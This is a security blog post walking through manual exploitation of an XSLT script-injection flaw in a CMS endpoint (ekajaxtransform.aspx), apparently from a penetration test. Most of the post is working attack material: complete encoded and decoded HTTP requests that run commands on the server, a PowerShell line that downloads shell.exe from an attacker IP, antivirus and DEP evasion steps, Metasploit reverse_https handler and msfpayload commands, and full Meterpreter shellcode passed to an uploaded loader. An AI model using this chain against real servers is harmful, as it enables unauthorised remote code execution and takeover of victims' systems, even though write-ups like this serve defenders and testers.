CodeWatch

My posts are a little bit out of order here in that this was one of the first vulnerabilities that I came across in which the Metasploit modules failed due to a combination of DEP and AV. The result was researching AV bypass techniques that I began discussing here, and then here, and then figuring out that I really just need to use Veil. Anyways, today I am going to discuss manual exploitation of the vulnerability described here. This vulnerability allows an unauthenticated user to pass XML that includes script elements that are then compiled as code and executed on the vulnerable server.

I first tried the easy and lazy route and attempted to use the Metasploit module for this vulnerability. The output indicated exploitation was successful but then went back to the standard Metasploit prompt with no Meterpreter shell. I decided to investigate manually exploiting the vulnerability to validate whether or not it was just a false positive and then work back from there. There is another great reference for this vulnerability (I think this is the guy that found/reported it) here, unfortunately I didn’t find this until after figuring it out. I used the code in the Metasploit module as a base and played around with it until I had a simple payload that finally worked that just returned the output of the ‘ipconfig.exe’ utility on Windows.

I loaded up Burp and went to work. Here is the first URL encoded payload (modified to replace IP addresses and whatnot):

  POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
  Host: 111.11.111.11
  Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
  Accept-Language: en
  Content-Type: application/x-www-form-urlencoded;
  Connection: Keep-Alive
  Content-Length: 956
  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  Pragma: no-cache
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

  xml=AAA&xslt=%3c%3fxml%20version%3d'1.0'%3f%3e%0a%3cxsl%3astylesheet%20
  version%3d%221.0%22%0axmlns%3axsl%3d%22http%3a%2f%2fwww.w3.org%2f1999
  %2fXSL%2fTransform%22%0axmlns%3amsxsl%3d%22urn%3aschemas-microsoft-com
  %3axslt%22%0axmlns%3auser%3d%22http%3a%2f%2fmycompany.com%2fmynamespace
  %22%3e%0a%3cmsxsl%3ascript%20language%3d%22C%23%22%20implements-prefix
  %3d%22user%22%3e%0a%3c!%5bCDATA%5b%0apublic%20string%20xml()%0a%7b
  %0aSystem.Diagnostics.Process%20p%20%3d%20new%20System.Diagnostics.Process()
  %3b%0ap.StartInfo.UseShellExecute%20%3d%20false%3b%0a
  p.StartInfo.RedirectStandardOutput%20%3d%20true%3b
  %0ap.StartInfo.FileName%20%3d%20%22ipconfig.exe%22%3b%0a
  p.Start()%3b%0ap.WaitForExit()%3b%0astring%20output%20%3d%20
  p.StandardOutput.ReadToEnd()%3b%0areturn%20output%3b%7d%0a]]
  %3e%0a%3c%2fmsxsl  %3ascript%3e%0a%3cxsl%3atemplate%20match%3d%22%2f%22%3e
  %0a%3cxsl%3avalue-of%20select%3d%22user%3axml()%22%2f%3e%0a%3c%2fxsl%3a
  template%3e%0a%3c%2fxsl%3astylesheet%3e

 
Decoded, this looks like:

  POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
  Host: 111.11.111.11
  Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
  Accept-Language: en
  Content-Type: application/x-www-form-urlencoded;
  Connection: Keep-Alive
  Content-Length: 956
  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  Pragma: no-cache
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

  xml=AAA&xslt=<?xml version='1.0'?>
  <xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  xmlns:user="http://mycompany.com/mynamespace">
  <msxsl:script language="C#" implements-prefix="user">
  <![CDATA[
    public string xml()
    {
      System.Diagnostics.Process p = new System.Diagnostics.Process();
      p.StartInfo.UseShellExecute = false;
      p.StartInfo.RedirectStandardOutput = true;      
      p.StartInfo.FileName = "ipconfig.exe";
      p.Start();
      p.WaitForExit();
      string output = p.StandardOutput.ReadToEnd();
      return output;
    }
  ]]>
  </msxsl:script>
  <xsl:template match="/">
  <xsl:value-of select="user:xml()"/>
  </xsl:template>
  </xsl:stylesheet>

 
The result was the standard output of the ‘ipconfig.exe’ command to the browser. I also used the ‘hostname.exe’ and ‘whoami.exe’ commands (replacing ipconfig.exe in the above with these executable names) and received the expected output. So I knew the vulnerability existed and was exploitable but something was hosing up Metasploit. At this point, I decided I need to upload my own Meterpreter payload and execute it.

I needed to find an open outbound port and ended up using ‘mstsc.exe’ as the tool of choice to test outbound access over TCP port 443. The payload for this looked like:

  POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
  Host: 111.11.111.11
  Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
  Accept-Language: en
  Content-Type: application/x-www-form-urlencoded;
  Connection: Keep-Alive
  Content-Length: 1021
  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  Pragma: no-cache
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

  xml=AAA&xslt=%3c%3fxml%20version%3d'1.0'%3f%3e%0a%3cxsl%3astylesheet%20
  version%3d%221.0%22%0axmlns%3axsl%3d%22http%3a%2f%2fwww.w3.org%2f1999
  %2fXSL%2fTransform%22%0axmlns%3amsxsl%3d%22urn%3aschemas-microsoft-com
  %3axslt%22%0axmlns%3auser%3d%22http%3a%2f%2fmycompany.com%2fmynamespace
  %22%3e%0a%3cmsxsl%3ascript%20language%3d%22C%23%22%20implements-prefix
  %3d%22user%22%3e%0a%3c!%5bCDATA%5b%0apublic%20string%20xml()%0a%7b
  %0aSystem.Diagnostics.Process%20p%20%3d%20new%20System.Diagnostics.Process()
  %3b%0ap.StartInfo.UseShellExecute%20%3d%20false%3b%0a
  p.StartInfo.RedirectStandardOutput%20%3d%20true%3b
  %0ap.StartInfo.FileName%20%3d%20%22mstsc.exe%22%3b%0a
  p.StartInfo.Arguments%20%3d%20%22%2fv%3a22.222.222.22%3a443%22%3b%0a
  p.Start()%3b%0ap.WaitForExit()%3b%0astring%20output%20%3d%20
  p.StandardOutput.ReadToEnd()%3b%0areturn%20output%3b%7d%0a]]
  %3e%0a%3c%2fmsxsl%3ascript%3e%0a%3cxsl%3atemplate%20match%3d%22%2f%22%3e%0a%3c
  xsl%3avalue-of%20select%3d%22user%3axml()%22%2f%3e%0a%3c%2fxsl%3a
  template%3e%0a%3c%2fxsl%3astylesheet%3e

 
Decoded, this looks like:

  POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
  Host: 111.11.111.11
  Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
  Accept-Language: en
  Content-Type: application/x-www-form-urlencoded;
  Connection: Keep-Alive
  Content-Length: 956
  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  Pragma: no-cache
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

  xml=AAA&xslt=<?xml version='1.0'?>
  <xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  xmlns:user="http://mycompany.com/mynamespace">
  <msxsl:script language="C#" implements-prefix="user">
  <![CDATA[
    public string xml()
    {
      System.Diagnostics.Process p = new System.Diagnostics.Process();
      p.StartInfo.UseShellExecute = false;
      p.StartInfo.RedirectStandardOutput = true;      
      p.StartInfo.FileName = "mstsc.exe";
      p.StartInfo.Arguments = "/v:22.222.222.22:443";      
      p.Start();
      p.WaitForExit();
      string output = p.StandardOutput.ReadToEnd();
      return output;
    }
  ]]>
  </msxsl:script>
  <xsl:template match="/">
  <xsl:value-of select="user:xml()"/>
  </xsl:template>
  </xsl:stylesheet>

 
I ran ‘tcpdump’ on my Metasploit box looking for the connect back and saw it. So I knew the server could connect to TCP port 443 over the Internet. I then generated a Metasploit payload in executable format and uploaded it to my web server. I wish that I had found this article while testing as it provides .NET code for downloading a file. For whatever reason, I didn’t even think of this as an option, yet weeks later I thought of it when exploiting an FCKedit vulnerability discussed here. Instead, I started thinking through options for using a command line Windows tool to download the Meterpreter payload. I tried ‘bitsadmin.exe’, which I think in the right circumstance should work, but it didn’t work here and I ended up using powershell.

The powershell payload looked like this:

  POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
  Host: 111.11.111.11
  Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
  Accept-Language: en
  Content-Type: application/x-www-form-urlencoded;
  Connection: Keep-Alive
  Content-Length: 1020
  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  Pragma: no-cache
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

  xml=AAA&xslt=%3c%3fxml%20version%3d'1.0'%3f%3e%0a%3cxsl%3astylesheet%20
  version%3d%221.0%22%0axmlns%3axsl%3d%22http%3a%2f%2fwww.w3.org%2f1999
  %2fXSL%2fTransform%22%0axmlns%3amsxsl%3d%22urn%3aschemas-microsoft-com
  %3axslt%22%0axmlns%3auser%3d%22http%3a%2f%2fmycompany.com%2fmynamespace
  %22%3e%0a%3cmsxsl%3ascript%20language%3d%22C%23%22%20implements-prefix
  %3d%22user%22%3e%0a%3c!%5bCDATA%5b%0apublic%20string%20xml()%0a%7b
  %0aSystem.Diagnostics.Process%20p%20%3d%20new%20System.Diagnostics.Process()
  %3b%0ap.StartInfo.UseShellExecute%20%3d%20false%3b%0a
  p.StartInfo.RedirectStandardOutput%20%3d%20true%3b%0a
  p.StartInfo.FileName%20%3d%20%22powershell.exe%22%3b%0a
  p.StartInfo.Arguments%20%3d%20%22(new-object%20System.Net.WebClient).
  DownloadFile(%20%27http%3a%2f%2f22.222.222.22%2fshell.exe%27,
  %20%27C%3a%5c%5cUsers%5c%5cPublic%5c%5cDocuments%5c%5ctest.exe%27)
  %22%3b%0ap.Start()%3b%0ap.WaitForExit()%3b%0astring%20output%20%3d%20
  p.StandardOutput.ReadToEnd()%3b%0areturn%20output%3b%7d%0a]]
  %3e%0a%3c%2fmsxsl%3ascript%3e%0a%3cxsl%3atemplate%20match%3d%22%2f%22%3e%0a%3c
  xsl%3avalue-of%20select%3d%22user%3axml()%22%2f%3e%0a%3c%2fxsl%3a
  template%3e%0a%3c%2fxsl%3astylesheet%3e

 
Decoded, this looks like:

  POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
  Host: 111.11.111.11
  Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
  Accept-Language: en
  Content-Type: application/x-www-form-urlencoded;
  Connection: Keep-Alive
  Content-Length: 1021
  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  Pragma: no-cache
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

  xml=AAA&xslt=<?xml version='1.0'?>
  <xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  xmlns:user="http://mycompany.com/mynamespace">
  <msxsl:script language="C#" implements-prefix="user">
  <![CDATA[
    public string xml()
    {
      System.Diagnostics.Process p = new System.Diagnostics.Process();
      p.StartInfo.UseShellExecute = false;
      p.StartInfo.RedirectStandardOutput = true;      
      p.StartInfo.FileName = "powershell.exe";
      p.StartInfo.Arguments = "(new-object System.Net.WebClient).DownloadFile
       ( 'http://22.222.222.22/shell.exe', 'C:\\Users\\Public\\Documents\\test.exe')";      
      p.Start();
      p.WaitForExit();
      string output = p.StandardOutput.ReadToEnd();
      return output;
    }
  ]]>
  </msxsl:script>
  <xsl:template match="/">
  <xsl:value-of select="user:xml()"/>
  </xsl:template>
  </xsl:stylesheet>

 
I used the above path because that path usually has pretty open permissions and would enable me to upload the file regardless of the account running the application. The initial upload failed and I did some trial and error to determine that AV was removing the file. So I needed to bypass AV. Research led me to this little script that worked pretty well on the systems against which I tested. I used the script to generate another payload and this time instead of receiving a “File not found” error message (which was previously occurring due to AV removing the exe) in the response to the browser I got nothing; it would just hang there for a while. Something else was preventing execution. Further research identified DEP as the culprit, which led me to shellcodeexec. I used a combination of the concept behind the avoid.sh script and shellcodeexec and compiled the code. I then exploited the vulnerability to download my modified shellcodeexec using the same code above. Now was the moment of truth, I just needed to exploit the vulnerability and call my uploaded executable and pass the shellcode as a parameter.

I was fairly confident, so I went ahead and setup my Meterpreter handler:

  use multi/handler
  set PAYLOAD windows/meterpreter/reverse_https
  set LHOST=22.222.222.22
  set LPORT=443
  run

 
I then generated the shellcode to be passed to shellcodeexec:

  msfpayload windows/meterpreter/reverse_https LHOST=22.222.222.22 LPORT=443 
    EXITFUNC=thread R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX 

 
Then I sent the payload, which looked like this:

  POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
  Host: 111.11.111.11
  Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
  Accept-Language: en
  Content-Type: application/x-www-form-urlencoded;
  Connection: Keep-Alive
  Content-Length: 1021
  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  Pragma: no-cache
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

  xml=AAA&xslt=%3c%3fxml%20version%3d'1.0'%3f%3e%0a%3cxsl%3astylesheet%20
  version%3d%221.0%22%0axmlns%3axsl%3d%22http%3a%2f%2fwww.w3.org%2f1999
  %2fXSL%2fTransform%22%0axmlns%3amsxsl%3d%22urn%3aschemas-microsoft-com
  %3axslt%22%0axmlns%3auser%3d%22http%3a%2f%2fmycompany.com%2fmynamespace
  %22%3e%0a%3cmsxsl%3ascript%20language%3d%22C%23%22%20implements-prefix
  %3d%22user%22%3e%0a%3c!%5bCDATA%5b%0apublic%20string%20xml()%0a%7b%0a
  System.Diagnostics.Process%20p%20%3d%20new%20System.Diagnostics.Process()
  %3b%0ap.StartInfo.UseShellExecute%20%3d%20false%3b%0a
  p.StartInfo.RedirectStandardOutput%20%3d%20true%3b%0a
  p.StartInfo.FileName%20%3d%20%22C%3a%5c%5cUsers%5c%5cPublic%5c%5cDocuments
  %5c%5ctest.exe%22%3b%0ap.StartInfo.Arguments%20%3d%20%
  22PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIljHoyS07pUP3PoyYu
  4qkb54LKPRvPLKaBFllK1B7dNkqb6HvoNWSzTfUaIo4qKpnL7L51SL6bTlWPjaHOvm318GjB
  l0f2v7lK2rB0LKrbuluQXPnkcpqhouYPBTbj6aZp60NkqXB8lKshQ0C1YCHculQYnk4tlK6a
  kf5aYoUaYPNLIQ8OdMwqo7wHm00u8tfc3MhxukqmDdbUhbshlKv84dGqn3avLK4Lbknkf8Gl
  wqN3LKc4LK6ahPk9QT6DDdQKqKcQsicjrqiom0bxqORzNkVrJKMVqMu82N3UT4wpRHcGPiBN
  bIpTrH0L0wEvFgkOyEtqio0WRw1GQG3ZWpf4e8DzbvqiLgYoHUXkSoSktqjiPQF1RJvcbqRq
  2HoKwqC0s063PPrHBwK9MOO6Ioke8kPHciP1HRSb0hwp4ri0OtPRPR3b0QpRF0u8HkqEdnEk
  kOxUNiYV2J203kCXk0fSuPs0lI9pcZ6dBpbJ7oF6SXRUCvOnMVIoXUeakOSgRwRw67Sf0hdm
  s628qkIoKek5IPqe4Z0KrT4PzKyE8kcyM883KOiokOTopp0a6QcjGp30SXL0MelbF6YoYEPj
  1Pqx30DPc05PQxWpgpaPwpF7QxPXldqCM5YoiEZ3qCScmYJGSgrHS07PEPUPpS2ve8wbz6ni
  YriojumU9PptZmnks7eQKsnekpRU8e0XiSYxrqkOIoyouguddnFRdp6PFNfRVP7B6NGHGDWp
  AA%22%3b%0ap.Start()%3b%0ap.WaitForExit()%3b%0astring%20output%20%3d%20
  p.StandardOutput.ReadToEnd()%3b%0areturn%20output%3b%7d%0a]]
  %3e%0a%3c%2fmsxsl%3ascript%3e%0a%3cxsl%3atemplate%20match%3d%22%2f%22%3e%0a%3c
  xsl%3avalue-of%20select%3d%22user%3axml()%22%2f%3e%0a%3c%2fxsl%3a
  template%3e%0a%3c%2fxsl%3astylesheet%3e

 
Decoded, the final payload looked like:

  POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
  Host: 111.11.111.11
  Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
  Accept-Language: en
  Content-Type: application/x-www-form-urlencoded;
  Connection: Keep-Alive
  Content-Length: 1021
  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
  Pragma: no-cache
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*

  xml=AAA&xslt=<?xml version='1.0'?>
  <xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  xmlns:user="http://mycompany.com/mynamespace">
  <msxsl:script language="C#" implements-prefix="user">
  <![CDATA[
    public string xml()
    {
      System.Diagnostics.Process p = new System.Diagnostics.Process();
      p.StartInfo.UseShellExecute = false;
      p.StartInfo.RedirectStandardOutput = true;      
      p.StartInfo.FileName = "C:\\Users\\Public\\Documents\\test.exe";
      p.StartInfo.Arguments = 
      "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIljHoyS07pUP
      3PoyYu4qkb54LKPRvPLKaBFllK1B7dNkqb6HvoNWSzTfUaIo4qKpnL7L51SL6bTlW
      PjaHOvm318GjBl0f2v7lK2rB0LKrbuluQXPnkcpqhouYPBTbj6aZp60NkqXB8lKsh
      Q0C1YCHculQYnk4tlK6akf5aYoUaYPNLIQ8OdMwqo7wHm00u8tfc3MhxukqmDdbUh
      bshlKv84dGqn3avLK4Lbknkf8GlwqN3LKc4LK6ahPk9QT6DDdQKqKcQsicjrqiom0
      bxqORzNkVrJKMVqMu82N3UT4wpRHcGPiBNbIpTrH0L0wEvFgkOyEtqio0WRw1GQG3
      ZWpf4e8DzbvqiLgYoHUXkSoSktqjiPQF1RJvcbqRq2HoKwqC0s063PPrHBwK9MOO6
      Ioke8kPHciP1HRSb0hwp4ri0OtPRPR3b0QpRF0u8HkqEdnEkkOxUNiYV2J203kCXk
      0fSuPs0lI9pcZ6dBpbJ7oF6SXRUCvOnMVIoXUeakOSgRwRw67Sf0hdms628qkIoKe
      k5IPqe4Z0KrT4PzKyE8kcyM883KOiokOTopp0a6QcjGp30SXL0MelbF6YoYEPj1Pq
      x30DPc05PQxWpgpaPwpF7QxPXldqCM5YoiEZ3qCScmYJGSgrHS07PEPUPpS2ve8wb
      z6niYriojumU9PptZmnks7eQKsnekpRU8e0XiSYxrqkOIoyouguddnFRdp6PFNfRV
      P7B6NGHGDWpAA";
      p.Start();      
      p.WaitForExit();
      string output = p.StandardOutput.ReadToEnd();
      return output;
    }
  ]]>
  </msxsl:script>
  <xsl:template match="/">
  <xsl:value-of select="user:xml()"/>
  </xsl:template>
  </xsl:stylesheet>

 
Within a few moments I had a Meterpreter shell and we were off to the races. I posted this just in case someone comes across this vulnerability or something similar to give you an idea for what the payload looks like as it is sent but also what it looks like when decoded. I find stuff like this helpful not only in obtaining access to systems with the vulnerability I am researching but also in understanding other similar vulnerabilities when I see them in the wild.

Tagged with:
 

Leave a Reply

Your email address will not be published. Required fields are marked *